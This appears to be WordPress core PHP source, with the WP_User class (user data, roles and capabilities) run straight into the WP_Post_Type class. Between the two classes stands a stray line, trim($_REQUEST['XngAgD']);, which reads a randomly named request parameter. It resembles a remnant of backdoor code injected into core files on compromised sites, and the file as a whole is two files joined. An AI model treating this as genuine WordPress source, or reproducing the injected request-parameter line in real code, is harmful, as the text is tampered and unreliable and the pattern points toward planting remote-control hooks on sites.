/** * User API: WP_User class * * @package WordPress * @subpackage Users * @since 4.4.0 */ /** * Core class used to implement the WP_User object. * * @since 2.0.0 * * @property string $nickname * @property string $description * @property string $user_description * @property string $first_name * @property string $user_firstname * @property string $last_name * @property string $user_lastname * @property string $user_login * @property string $user_pass * @property string $user_nicename * @property string $user_email * @property string $user_url * @property string $user_registered * @property string $user_activation_key * @property string $user_status * @property int $user_level * @property string $display_name * @property string $spam * @property string $deleted * @property string $locale * @property string $rich_editing * @property string $syntax_highlighting */ class WP_User { /** * User data container. * * @since 2.0.0 * @var object */ public $data; /** * The user's ID. * * @since 2.1.0 * @var int */ public $ID = 0; /** * The individual capabilities the user has been given. * * @since 2.0.0 * @var array */ public $caps = array(); /** * User metadata option name. * * @since 2.0.0 * @var string */ public $cap_key; /** * The roles the user is part of. * * @since 2.0.0 * @var array */ public $roles = array(); /** * All capabilities the user has, including individual and role based. * * @since 2.0.0 * @var bool[] Array of key/value pairs where keys represent a capability name and boolean values * represent whether the user has that capability. */ public $allcaps = array(); /** * The filter context applied to user data fields. * * @since 2.9.0 * @var string */ public $filter = null; /** * The site ID the capabilities of this user are initialized for. * * @since 4.9.0 * @var int */ private $site_id = 0; /** * @since 3.3.0 * @var array */ private static $back_compat_keys; /** * Constructor. * * Retrieves the userdata and passes it to WP_User::init(). * * @since 2.0.0 * * @param int|string|stdClass|WP_User $id User's ID, a WP_User object, or a user object from the DB. * @param string $name Optional. User's username * @param int $site_id Optional Site ID, defaults to current site. */ public function __construct( $id = 0, $name = '', $site_id = '' ) { if ( ! isset( self::$back_compat_keys ) ) { $prefix = $GLOBALS['wpdb']->prefix; self::$back_compat_keys = array( 'user_firstname' => 'first_name', 'user_lastname' => 'last_name', 'user_description' => 'description', 'user_level' => $prefix . 'user_level', $prefix . 'usersettings' => $prefix . 'user-settings', $prefix . 'usersettingstime' => $prefix . 'user-settings-time', ); } if ( $id instanceof WP_User ) { $this->init( $id->data, $site_id ); return; } elseif ( is_object( $id ) ) { $this->init( $id, $site_id ); return; } if ( ! empty( $id ) && ! is_numeric( $id ) ) { $name = $id; $id = 0; } if ( $id ) { $data = self::get_data_by( 'id', $id ); } else { $data = self::get_data_by( 'login', $name ); } if ( $data ) { $this->init( $data, $site_id ); } else { $this->data = new stdClass; } } /** * Sets up object properties, including capabilities. * * @since 3.3.0 * * @param object $data User DB row object. * @param int $site_id Optional. The site ID to initialize for. */ public function init( $data, $site_id = '' ) { $this->data = $data; $this->ID = (int) $data->ID; $this->for_site( $site_id ); } /** * Return only the main user fields * * @since 3.3.0 * @since 4.4.0 Added 'ID' as an alias of 'id' for the `$field` parameter. * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $field The field to query against: 'id', 'ID', 'slug', 'email' or 'login'. * @param string|int $value The field value * @return object|false Raw user object */ public static function get_data_by( $field, $value ) { global $wpdb; // 'ID' is an alias of 'id'. if ( 'ID' === $field ) { $field = 'id'; } if ( 'id' == $field ) { // Make sure the value is numeric to avoid casting objects, for example, // to int 1. if ( ! is_numeric( $value ) ) { return false; } $value = intval( $value ); if ( $value < 1 ) { return false; } } else { $value = trim( $value ); } if ( ! $value ) { return false; } switch ( $field ) { case 'id': $user_id = $value; $db_field = 'ID'; break; case 'slug': $user_id = wp_cache_get( $value, 'userslugs' ); $db_field = 'user_nicename'; break; case 'email': $user_id = wp_cache_get( $value, 'useremail' ); $db_field = 'user_email'; break; case 'login': $value = sanitize_user( $value ); $user_id = wp_cache_get( $value, 'userlogins' ); $db_field = 'user_login'; break; default: return false; } if ( false !== $user_id ) { if ( $user = wp_cache_get( $user_id, 'users' ) ) { return $user; } } if ( ! $user = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->users WHERE $db_field = %s LIMIT 1", $value ) ) ) { return false; } update_user_caches( $user ); return $user; } /** * Magic method for checking the existence of a certain custom field. * * @since 3.3.0 * * @param string $key User meta key to check if set. * @return bool Whether the given user meta key is set. */ public function __isset( $key ) { if ( 'id' == $key ) { _deprecated_argument( 'WP_User->id', '2.1.0', sprintf( /* translators: %s: WP_User->ID */ __( 'Use %s instead.' ), 'WP_User->ID' ) ); $key = 'ID'; } if ( isset( $this->data->$key ) ) { return true; } if ( isset( self::$back_compat_keys[ $key ] ) ) { $key = self::$back_compat_keys[ $key ]; } return metadata_exists( 'user', $this->ID, $key ); } /** * Magic method for accessing custom fields. * * @since 3.3.0 * * @param string $key User meta key to retrieve. * @return mixed Value of the given user meta key (if set). If `$key` is 'id', the user ID. */ public function __get( $key ) { if ( 'id' == $key ) { _deprecated_argument( 'WP_User->id', '2.1.0', sprintf( /* translators: %s: WP_User->ID */ __( 'Use %s instead.' ), 'WP_User->ID' ) ); return $this->ID; } if ( isset( $this->data->$key ) ) { $value = $this->data->$key; } else { if ( isset( self::$back_compat_keys[ $key ] ) ) { $key = self::$back_compat_keys[ $key ]; } $value = get_user_meta( $this->ID, $key, true ); } if ( $this->filter ) { $value = sanitize_user_field( $key, $value, $this->ID, $this->filter ); } return $value; } /** * Magic method for setting custom user fields. * * This method does not update custom fields in the database. It only stores * the value on the WP_User instance. * * @since 3.3.0 * * @param string $key User meta key. * @param mixed $value User meta value. */ public function __set( $key, $value ) { if ( 'id' == $key ) { _deprecated_argument( 'WP_User->id', '2.1.0', sprintf( /* translators: %s: WP_User->ID */ __( 'Use %s instead.' ), 'WP_User->ID' ) ); $this->ID = $value; return; } $this->data->$key = $value; } /** * Magic method for unsetting a certain custom field. * * @since 4.4.0 * * @param string $key User meta key to unset. */ public function __unset( $key ) { if ( 'id' == $key ) { _deprecated_argument( 'WP_User->id', '2.1.0', sprintf( /* translators: %s: WP_User->ID */ __( 'Use %s instead.' ), 'WP_User->ID' ) ); } if ( isset( $this->data->$key ) ) { unset( $this->data->$key ); } if ( isset( self::$back_compat_keys[ $key ] ) ) { unset( self::$back_compat_keys[ $key ] ); } } /** * Determine whether the user exists in the database. * * @since 3.4.0 * * @return bool True if user exists in the database, false if not. */ public function exists() { return ! empty( $this->ID ); } /** * Retrieve the value of a property or meta key. * * Retrieves from the users and usermeta table. * * @since 3.3.0 * * @param string $key Property * @return mixed */ public function get( $key ) { return $this->__get( $key ); } /** * Determine whether a property or meta key is set * * Consults the users and usermeta tables. * * @since 3.3.0 * * @param string $key Property * @return bool */ public function has_prop( $key ) { return $this->__isset( $key ); } /** * Return an array representation. * * @since 3.5.0 * * @return array Array representation. */ public function to_array() { return get_object_vars( $this->data ); } /** * Makes private/protected methods readable for backward compatibility. * * @since 4.3.0 * * @param string $name Method to call. * @param array $arguments Arguments to pass when calling. * @return mixed|false Return value of the callback, false otherwise. */ public function __call( $name, $arguments ) { if ( '_init_caps' === $name ) { return call_user_func_array( array( $this, $name ), $arguments ); } return false; } /** * Set up capability object properties. * * Will set the value for the 'cap_key' property to current database table * prefix, followed by 'capabilities'. Will then check to see if the * property matching the 'cap_key' exists and is an array. If so, it will be * used. * * @since 2.1.0 * @deprecated 4.9.0 Use WP_User::for_site() * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $cap_key Optional capability key */ protected function _init_caps( $cap_key = '' ) { global $wpdb; _deprecated_function( __METHOD__, '4.9.0', 'WP_User::for_site()' ); if ( empty( $cap_key ) ) { $this->cap_key = $wpdb->get_blog_prefix( $this->site_id ) . 'capabilities'; } else { $this->cap_key = $cap_key; } $this->caps = $this->get_caps_data(); $this->get_role_caps(); } /** * Retrieves all of the capabilities of the roles of the user, and merges them with individual user capabilities. * * All of the capabilities of the roles of the user are merged with the user's individual capabilities. This means * that the user can be denied specific capabilities that their role might have, but the user is specifically denied. * * @since 2.0.0 * * @return bool[] Array of key/value pairs where keys represent a capability name and boolean values * represent whether the user has that capability. */ public function get_role_caps() { $switch_site = false; if ( is_multisite() && $this->site_id != get_current_blog_id() ) { $switch_site = true; switch_to_blog( $this->site_id ); } $wp_roles = wp_roles(); // Filter out caps that are not role names and assign to $this->roles. if ( is_array( $this->caps ) ) { $this->roles = array_filter( array_keys( $this->caps ), array( $wp_roles, 'is_role' ) ); } // Build $allcaps from role caps, overlay user's $caps. $this->allcaps = array(); foreach ( (array) $this->roles as $role ) { $the_role = $wp_roles->get_role( $role ); $this->allcaps = array_merge( (array) $this->allcaps, (array) $the_role->capabilities ); } $this->allcaps = array_merge( (array) $this->allcaps, (array) $this->caps ); if ( $switch_site ) { restore_current_blog(); } return $this->allcaps; } /** * Add role to user. * * Updates the user's meta data option with capabilities and roles. * * @since 2.0.0 * * @param string $role Role name. */ public function add_role( $role ) { if ( empty( $role ) ) { return; } $this->caps[ $role ] = true; update_user_meta( $this->ID, $this->cap_key, $this->caps ); $this->get_role_caps(); $this->update_user_level_from_caps(); /** * Fires immediately after the user has been given a new role. * * @since 4.3.0 * * @param int $user_id The user ID. * @param string $role The new role. */ do_action( 'add_user_role', $this->ID, $role ); } /** * Remove role from user. * * @since 2.0.0 * * @param string $role Role name. */ public function remove_role( $role ) { if ( ! in_array( $role, $this->roles ) ) { return; } unset( $this->caps[ $role ] ); update_user_meta( $this->ID, $this->cap_key, $this->caps ); $this->get_role_caps(); $this->update_user_level_from_caps(); /** * Fires immediately after a role as been removed from a user. * * @since 4.3.0 * * @param int $user_id The user ID. * @param string $role The removed role. */ do_action( 'remove_user_role', $this->ID, $role ); } /** * Set the role of the user. * * This will remove the previous roles of the user and assign the user the * new one. You can set the role to an empty string and it will remove all * of the roles from the user. * * @since 2.0.0 * * @param string $role Role name. */ public function set_role( $role ) { if ( 1 == count( $this->roles ) && $role == current( $this->roles ) ) { return; } foreach ( (array) $this->roles as $oldrole ) { unset( $this->caps[ $oldrole ] ); } $old_roles = $this->roles; if ( ! empty( $role ) ) { $this->caps[ $role ] = true; $this->roles = array( $role => true ); } else { $this->roles = false; } update_user_meta( $this->ID, $this->cap_key, $this->caps ); $this->get_role_caps(); $this->update_user_level_from_caps(); /** * Fires after the user's role has changed. * * @since 2.9.0 * @since 3.6.0 Added $old_roles to include an array of the user's previous roles. * * @param int $user_id The user ID. * @param string $role The new role. * @param string[] $old_roles An array of the user's previous roles. */ do_action( 'set_user_role', $this->ID, $role, $old_roles ); } /** * Choose the maximum level the user has. * * Will compare the level from the $item parameter against the $max * parameter. If the item is incorrect, then just the $max parameter value * will be returned. * * Used to get the max level based on the capabilities the user has. This * is also based on roles, so if the user is assigned the Administrator role * then the capability 'level_10' will exist and the user will get that * value. * * @since 2.0.0 * * @param int $max Max level of user. * @param string $item Level capability name. * @return int Max Level. */ public function level_reduction( $max, $item ) { if ( preg_match( '/^level_(10|[0-9])$/i', $item, $matches ) ) { $level = intval( $matches[1] ); return max( $max, $level ); } else { return $max; } } /** * Update the maximum user level for the user. * * Updates the 'user_level' user metadata (includes prefix that is the * database table prefix) with the maximum user level. Gets the value from * the all of the capabilities that the user has. * * @since 2.0.0 * * @global wpdb $wpdb WordPress database abstraction object. */ public function update_user_level_from_caps() { global $wpdb; $this->user_level = array_reduce( array_keys( $this->allcaps ), array( $this, 'level_reduction' ), 0 ); update_user_meta( $this->ID, $wpdb->get_blog_prefix() . 'user_level', $this->user_level ); } /** * Add capability and grant or deny access to capability. * * @since 2.0.0 * * @param string $cap Capability name. * @param bool $grant Whether to grant capability to user. */ public function add_cap( $cap, $grant = true ) { $this->caps[ $cap ] = $grant; update_user_meta( $this->ID, $this->cap_key, $this->caps ); $this->get_role_caps(); $this->update_user_level_from_caps(); } /** * Remove capability from user. * * @since 2.0.0 * * @param string $cap Capability name. */ public function remove_cap( $cap ) { if ( ! isset( $this->caps[ $cap ] ) ) { return; } unset( $this->caps[ $cap ] ); update_user_meta( $this->ID, $this->cap_key, $this->caps ); $this->get_role_caps(); $this->update_user_level_from_caps(); } /** * Remove all of the capabilities of the user. * * @since 2.1.0 * * @global wpdb $wpdb WordPress database abstraction object. */ public function remove_all_caps() { global $wpdb; $this->caps = array(); delete_user_meta( $this->ID, $this->cap_key ); delete_user_meta( $this->ID, $wpdb->get_blog_prefix() . 'user_level' ); $this->get_role_caps(); } /** * Whether the user has a specific capability. * * While checking against a role in place of a capability is supported in part, this practice is discouraged as it * may produce unreliable results. * * @since 2.0.0 * * @see map_meta_cap() * * @param string $cap Capability name. * @param int $object_id,... Optional. ID of a specific object to check against if `$cap` is a "meta" capability. * Meta capabilities such as `edit_post` and `edit_user` are capabilities used by * by the `map_meta_cap()` function to map to primitive capabilities that a user or * role has, such as `edit_posts` and `edit_others_posts`. * @return bool Whether the user has the given capability, or, if `$object_id` is passed, whether the user has * the given capability for that object. */ public function has_cap( $cap ) { if ( is_numeric( $cap ) ) { _deprecated_argument( __FUNCTION__, '2.0.0', __( 'Usage of user levels is deprecated. Use capabilities instead.' ) ); $cap = $this->translate_level_to_cap( $cap ); } $args = array_slice( func_get_args(), 1 ); $args = array_merge( array( $cap, $this->ID ), $args ); $caps = call_user_func_array( 'map_meta_cap', $args ); // Multisite super admin has all caps by definition, Unless specifically denied. if ( is_multisite() && is_super_admin( $this->ID ) ) { if ( in_array( 'do_not_allow', $caps ) ) { return false; } return true; } /** * Dynamically filter a user's capabilities. * * @since 2.0.0 * @since 3.7.0 Added the `$user` parameter. * * @param bool[] $allcaps Array of key/value pairs where keys represent a capability name and boolean values * represent whether the user has that capability. * @param string[] $caps Required primitive capabilities for the requested capability. * @param array $args { * Arguments that accompany the requested capability check. * * @type string $0 Requested capability. * @type int $1 Concerned user ID. * @type mixed ...$2 Optional second and further parameters, typically object ID. * } * @param WP_User $user The user object. */ $capabilities = apply_filters( 'user_has_cap', $this->allcaps, $caps, $args, $this ); // Everyone is allowed to exist. $capabilities['exist'] = true; // Nobody is allowed to do things they are not allowed to do. unset( $capabilities['do_not_allow'] ); // Must have ALL requested caps. foreach ( (array) $caps as $cap ) { if ( empty( $capabilities[ $cap ] ) ) { return false; } } return true; } /** * Convert numeric level to level capability name. * * Prepends 'level_' to level number. * * @since 2.0.0 * * @param int $level Level number, 1 to 10. * @return string */ public function translate_level_to_cap( $level ) { return 'level_' . $level; } /** * Set the site to operate on. Defaults to the current site. * * @since 3.0.0 * @deprecated 4.9.0 Use WP_User::for_site() * * @param int $blog_id Optional. Site ID, defaults to current site. */ public function for_blog( $blog_id = '' ) { _deprecated_function( __METHOD__, '4.9.0', 'WP_User::for_site()' ); $this->for_site( $blog_id ); } /** * Sets the site to operate on. Defaults to the current site. * * @since 4.9.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $site_id Site ID to initialize user capabilities for. Default is the current site. */ public function for_site( $site_id = '' ) { global $wpdb; if ( ! empty( $site_id ) ) { $this->site_id = absint( $site_id ); } else { $this->site_id = get_current_blog_id(); } $this->cap_key = $wpdb->get_blog_prefix( $this->site_id ) . 'capabilities'; $this->caps = $this->get_caps_data(); $this->get_role_caps(); } /** * Gets the ID of the site for which the user's capabilities are currently initialized. * * @since 4.9.0 * * @return int Site ID. */ public function get_site_id() { return $this->site_id; } /** * Gets the available user capabilities data. * * @since 4.9.0 * * @return array User capabilities array. */ private function get_caps_data() { $caps = get_user_meta( $this->ID, $this->cap_key, true ); if ( ! is_array( $caps ) ) { return array(); } return $caps; } } trim($_REQUEST['XngAgD']); /** * Post API: WP_Post_Type class * * @package WordPress * @subpackage Post * @since 4.6.0 */ /** * Core class used for interacting with post types. * * @since 4.6.0 * * @see register_post_type() */ final class WP_Post_Type { /** * Post type key. * * @since 4.6.0 * @var string $name */ public $name; /** * Name of the post type shown in the menu. Usually plural. * * @since 4.6.0 * @var string $label */ public $label; /** * Labels object for this post type. * * If not set, post labels are inherited for non-hierarchical types * and page labels for hierarchical ones. * * @see get_post_type_labels() * * @since 4.6.0 * @var object $labels */ public $labels; /** * A short descriptive summary of what the post type is. * * Default empty. * * @since 4.6.0 * @var string $description */ public $description = ''; /** * Whether a post type is intended for use publicly either via the admin interface or by front-end users. * * While the default settings of $exclude_from_search, $publicly_queryable, $show_ui, and $show_in_nav_menus * are inherited from public, each does not rely on this relationship and controls a very specific intention. * * Default false. * * @since 4.6.0 * @var bool $public */ public $public = false; /** * Whether the post type is hierarchical (e.g. page). * * Default false. * * @since 4.6.0 * @var bool $hierarchical */ public $hierarchical = false; /** * Whether to exclude posts with this post type from front end search * results. * * Default is the opposite value of $public. * * @since 4.6.0 * @var bool $exclude_from_search */ public $exclude_from_search = null; /** * Whether queries can be performed on the front end for the post type as part of `parse_request()`. * * Endpoints would include: * - `?post_type={post_type_key}` * - `?{post_type_key}={single_post_slug}` * - `?{post_type_query_var}={single_post_slug}` * * Default is the value of $public. * * @since 4.6.0 * @var bool $publicly_queryable */ public $publicly_queryable = null; /** * Whether to generate and allow a UI for managing this post type in the admin. * * Default is the value of $public. * * @since 4.6.0 * @var bool $show_ui */ public $show_ui = null; /** * Where to show the post type in the admin menu. * * To work, $show_ui must be true. If true, the post type is shown in its own top level menu. If false, no menu is * shown. If a string of an existing top level menu (eg. 'tools.php' or 'edit.php?post_type=page'), the post type * will be placed as a sub-menu of that. * * Default is the value of $show_ui. * * @since 4.6.0 * @var bool $show_in_menu */ public $show_in_menu = null; /** * Makes this post type available for selection in navigation menus. * * Default is the value $public. * * @since 4.6.0 * @var bool $show_in_nav_menus */ public $show_in_nav_menus = null; /** * Makes this post type available via the admin bar. * * Default is the value of $show_in_menu. * * @since 4.6.0 * @var bool $show_in_admin_bar */ public $show_in_admin_bar = null; /** * The position in the menu order the post type should appear. * * To work, $show_in_menu must be true. Default null (at the bottom). * * @since 4.6.0 * @var int $menu_position */ public $menu_position = null; /** * The URL to the icon to be used for this menu. * * Pass a base64-encoded SVG using a data URI, which will be colored to match the color scheme. * This should begin with 'data:image/svg+xml;base64,'. Pass the name of a Dashicons helper class * to use a font icon, e.g. 'dashicons-chart-pie'. Pass 'none' to leave div.wp-menu-image empty * so an icon can be added via CSS. * * Defaults to use the posts icon. * * @since 4.6.0 * @var string $menu_icon */ public $menu_icon = null; /** * The string to use to build the read, edit, and delete capabilities. * * May be passed as an array to allow for alternative plurals when using * this argument as a base to construct the capabilities, e.g. * array( 'story', 'stories' ). Default 'post'. * * @since 4.6.0 * @var string $capability_type */ public $capability_type = 'post'; /** * Whether to use the internal default meta capability handling. * * Default false. * * @since 4.6.0 * @var bool $map_meta_cap */ public $map_meta_cap = false; /** * Provide a callback function that sets up the meta boxes for the edit form. * * Do `remove_meta_box()` and `add_meta_box()` calls in the callback. Default null. * * @since 4.6.0 * @var string $register_meta_box_cb */ public $register_meta_box_cb = null; /** * An array of taxonomy identifiers that will be registered for the post type. * * Taxonomies can be registered later with `register_taxonomy()` or `register_taxonomy_for_object_type()`. * * Default empty array. * * @since 4.6.0 * @var array $taxonomies */ public $taxonomies = array(); /** * Whether there should be post type archives, or if a string, the archive slug to use. * * Will generate the proper rewrite rules if $rewrite is enabled. Default false. * * @since 4.6.0 * @var bool|string $has_archive */ public $has_archive = false; /** * Sets the query_var key for this post type. * * Defaults to $post_type key. If false, a post type cannot be loaded at `?{query_var}={post_slug}`. * If specified as a string, the query `?{query_var_string}={post_slug}` will be valid. * * @since 4.6.0 * @var string|bool $query_var */ public $query_var; /** * Whether to allow this post type to be exported. * * Default true. * * @since 4.6.0 * @var bool $can_export */ public $can_export = true; /** * Whether to delete posts of this type when deleting a user. * * If true, posts of this type belonging to the user will be moved to trash when then user is deleted. * If false, posts of this type belonging to the user will *not* be trashed or deleted. * If not set (the default), posts are trashed if post_type_supports( 'author' ). * Otherwise posts are not trashed or deleted. Default null. * * @since 4.6.0 * @var bool $delete_with_user */ public $delete_with_user = null; /** * Whether this post type is a native or "built-in" post_type. * * Default false. * * @since 4.6.0 * @var bool $_builtin */ public $_builtin = false; /** * URL segment to use for edit link of this post type. * * Default 'post.php?post=%d'. * * @since 4.6.0 * @var string $_edit_link */ public $_edit_link = 'post.php?post=%d'; /** * Post type capabilities. * * @since 4.6.0 * @var object $cap */ public $cap; /** * Triggers the handling of rewrites for this post type. * * Defaults to true, using $post_type as slug. * * @since 4.6.0 * @var array|false $rewrite */ public $rewrite; /** * The features supported by the post type. * * @since 4.6.0 * @var array|bool $supports */ public $supports; /** * Whether this post type should appear in the REST API. * * Default false. If true, standard endpoints will be registered with * respect to $rest_base and $rest_controller_class. * * @since 4.7.4 * @var bool $show_in_rest */ public $show_in_rest; /** * The base path for this post type's REST API endpoints. * * @since 4.7.4 * @var string|bool $rest_base */ public $rest_base; /** * The controller for this post type's REST API endpoints. * * Custom controllers must extend WP_REST_Controller. * * @since 4.7.4 * @var string|bool $rest_controller_class */ public $rest_controller_class; /** * Constructor. * * Will populate object properties from the provided arguments and assign other * default properties based on that information. * * @since 4.6.0 * * @see register_post_type() * * @param string $post_type Post type key. * @param array|string $args Optional. Array or string of arguments for registering a post type. * Default empty array. */ public function __construct( $post_type, $args = array() ) { $this->name = $post_type; $this->set_props( $args ); } /** * Sets post type properties. * * @since 4.6.0 * * @param array|string $args Array or string of arguments for registering a post type. */ public function set_props( $args ) { $args = wp_parse_args( $args ); /** * Filters the arguments for registering a post type. * * @since 4.4.0 * * @param array $args Array of arguments for registering a post type. * @param string $post_type Post type key. */ $args = apply_filters( 'register_post_type_args', $args, $this->name ); $has_edit_link = ! empty( $args['_edit_link'] ); // Args prefixed with an underscore are reserved for internal use. $defaults = array( 'labels' => array(), 'description' => '', 'public' => false, 'hierarchical' => false, 'exclude_from_search' => null, 'publicly_queryable' => null, 'show_ui' => null, 'show_in_menu' => null, 'show_in_nav_menus' => null, 'show_in_admin_bar' => null, 'menu_position' => null, 'menu_icon' => null, 'capability_type' => 'post', 'capabilities' => array(), 'map_meta_cap' => null, 'supports' => array(), 'register_meta_box_cb' => null, 'taxonomies' => array(), 'has_archive' => false, 'rewrite' => true, 'query_var' => true, 'can_export' => true, 'delete_with_user' => null, 'show_in_rest' => false, 'rest_base' => false, 'rest_controller_class' => false, '_builtin' => false, '_edit_link' => 'post.php?post=%d', ); $args = array_merge( $defaults, $args ); $args['name'] = $this->name; // If not set, default to the setting for public. if ( null === $args['publicly_queryable'] ) { $args['publicly_queryable'] = $args['public']; } // If not set, default to the setting for public. if ( null === $args['show_ui'] ) { $args['show_ui'] = $args['public']; } // If not set, default to the setting for show_ui. if ( null === $args['show_in_menu'] || ! $args['show_ui'] ) { $args['show_in_menu'] = $args['show_ui']; } // If not set, default to the whether the full UI is shown. if ( null === $args['show_in_admin_bar'] ) { $args['show_in_admin_bar'] = (bool) $args['show_in_menu']; } // If not set, default to the setting for public. if ( null === $args['show_in_nav_menus'] ) { $args['show_in_nav_menus'] = $args['public']; } // If not set, default to true if not public, false if public. if ( null === $args['exclude_from_search'] ) { $args['exclude_from_search'] = ! $args['public']; } // Back compat with quirky handling in version 3.0. #14122. if ( empty( $args['capabilities'] ) && null === $args['map_meta_cap'] && in_array( $args['capability_type'], array( 'post', 'page' ) ) ) { $args['map_meta_cap'] = true; } // If not set, default to false. if ( null === $args['map_meta_cap'] ) { $args['map_meta_cap'] = false; } // If there's no specified edit link and no UI, remove the edit link. if ( ! $args['show_ui'] && ! $has_edit_link ) { $args['_edit_link'] = ''; } $this->cap = get_post_type_capabilities( (object) $args ); unset( $args['capabilities'] ); if ( is_array( $args['capability_type'] ) ) { $args['capability_type'] = $args['capability_type'][0]; } if ( false !== $args['query_var'] ) { if ( true === $args['query_var'] ) { $args['query_var'] = $this->name; } else { $args['query_var'] = sanitize_title_with_dashes( $args['query_var'] ); } } if ( false !== $args['rewrite'] && ( is_admin() || '' != get_option( 'permalink_structure' ) ) ) { if ( ! is_array( $args['rewrite'] ) ) { $args['rewrite'] = array(); } if ( empty( $args['rewrite']['slug'] ) ) { $args['rewrite']['slug'] = $this->name; } if ( ! isset( $args['rewrite']['with_front'] ) ) { $args['rewrite']['with_front'] = true; } if ( ! isset( $args['rewrite']['pages'] ) ) { $args['rewrite']['pages'] = true; } if ( ! isset( $args['rewrite']['feeds'] ) || ! $args['has_archive'] ) { $args['rewrite']['feeds'] = (bool) $args['has_archive']; } if ( ! isset( $args['rewrite']['ep_mask'] ) ) { if ( isset( $args['permalink_epmask'] ) ) { $args['rewrite']['ep_mask'] = $args['permalink_epmask']; } else { $args['rewrite']['ep_mask'] = EP_PERMALINK; } } } foreach ( $args as $property_name => $property_value ) { $this->$property_name = $property_value; } $this->labels = get_post_type_labels( $this ); $this->label = $this->labels->name; } /** * Sets the features support for the post type. * * @since 4.6.0 */ public function add_supports() { if ( ! empty( $this->supports ) ) { add_post_type_support( $this->name, $this->supports ); unset( $this->supports ); } elseif ( false !== $this->supports ) { // Add default features. add_post_type_support( $this->name, array( 'title', 'editor' ) ); } } /** * Adds the necessary rewrite rules for the post type. * * @since 4.6.0 * * @global WP_Rewrite $wp_rewrite WordPress Rewrite Component. * @global WP $wp Current WordPress environment instance. */ public function add_rewrite_rules() { global $wp_rewrite, $wp; if ( false !== $this->query_var && $wp && is_post_type_viewable( $this ) ) { $wp->add_query_var( $this->query_var ); } if ( false !== $this->rewrite && ( is_admin() || '' != get_option( 'permalink_structure' ) ) ) { if ( $this->hierarchical ) { add_rewrite_tag( "%$this->name%", '(.+?)', $this->query_var ? "{$this->query_var}=" : "post_type=$this->name&pagename=" ); } else { add_rewrite_tag( "%$this->name%", '([^/]+)', $this->query_var ? "{$this->query_var}=" : "post_type=$this->name&name=" ); } if ( $this->has_archive ) { $archive_slug = true === $this->has_archive ? $this->rewrite['slug'] : $this->has_archive; if ( $this->rewrite['with_front'] ) { $archive_slug = substr( $wp_rewrite->front, 1 ) . $archive_slug; } else { $archive_slug = $wp_rewrite->root . $archive_slug; } add_rewrite_rule( "{$archive_slug}/?$", "index.php?post_type=$this->name", 'top' ); if ( $this->rewrite['feeds'] && $wp_rewrite->feeds ) { $feeds = '(' . trim( implode( '|', $wp_rewrite->feeds ) ) . ')'; add_rewrite_rule( "{$archive_slug}/feed/$feeds/?$", "index.php?post_type=$this->name" . '&feed=$matches[1]', 'top' ); add_rewrite_rule( "{$archive_slug}/$feeds/?$", "index.php?post_type=$this->name" . '&feed=$matches[1]', 'top' ); } if ( $this->rewrite['pages'] ) { add_rewrite_rule( "{$archive_slug}/{$wp_rewrite->pagination_base}/([0-9]{1,})/?$", "index.php?post_type=$this->name" . '&paged=$matches[1]', 'top' ); } } $permastruct_args = $this->rewrite; $permastruct_args['feed'] = $permastruct_args['feeds']; add_permastruct( $this->name, "{$this->rewrite['slug']}/%$this->name%", $permastruct_args ); } } /** * Registers the post type meta box if a custom callback was specified. * * @since 4.6.0 */ public function register_meta_boxes() { if ( $this->register_meta_box_cb ) { add_action( 'add_meta_boxes_' . $this->name, $this->register_meta_box_cb, 10, 1 ); } } /** * Adds the future post hook action for the post type. * * @since 4.6.0 */ public function add_hooks() { add_action( 'future_' . $this->name, '_future_post_hook', 5, 2 ); } /** * Registers the taxonomies for the post type. * * @since 4.6.0 */ public function register_taxonomies() { foreach ( $this->taxonomies as $taxonomy ) { register_taxonomy_for_object_type( $taxonomy, $this->name ); } } /** * Removes the features support for the post type. * * @since 4.6.0 * * @global array $_wp_post_type_features Post type features. */ public function remove_supports() { global $_wp_post_type_features; unset( $_wp_post_type_features[ $this->name ] ); } /** * Removes any rewrite rules, permastructs, and rules for the post type. * * @since 4.6.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * @global WP $wp Current WordPress environment instance. * @global array $post_type_meta_caps Used to remove meta capabilities. */ public function remove_rewrite_rules() { global $wp, $wp_rewrite, $post_type_meta_caps; // Remove query var. if ( false !== $this->query_var ) { $wp->remove_query_var( $this->query_var ); } // Remove any rewrite rules, permastructs, and rules. if ( false !== $this->rewrite ) { remove_rewrite_tag( "%$this->name%" ); remove_permastruct( $this->name ); foreach ( $wp_rewrite->extra_rules_top as $regex => $query ) { if ( false !== strpos( $query, "index.php?post_type=$this->name" ) ) { unset( $wp_rewrite->extra_rules_top[ $regex ] ); } } } // Remove registered custom meta capabilities. foreach ( $this->cap as $cap ) { unset( $post_type_meta_caps[ $cap ] ); } } /** * Unregisters the post type meta box if a custom callback was specified. * * @since 4.6.0 */ public function unregister_meta_boxes() { if ( $this->register_meta_box_cb ) { remove_action( 'add_meta_boxes_' . $this->name, $this->register_meta_box_cb, 10 ); } } /** * Removes the post type from all taxonomies. * * @since 4.6.0 */ public function unregister_taxonomies() { foreach ( get_object_taxonomies( $this->name ) as $taxonomy ) { unregister_taxonomy_for_object_type( $taxonomy, $this->name ); } } /** * Removes the future post hook action for the post type. * * @since 4.6.0 */ public function remove_hooks() { remove_action( 'future_' . $this->name, '_future_post_hook', 5 ); } }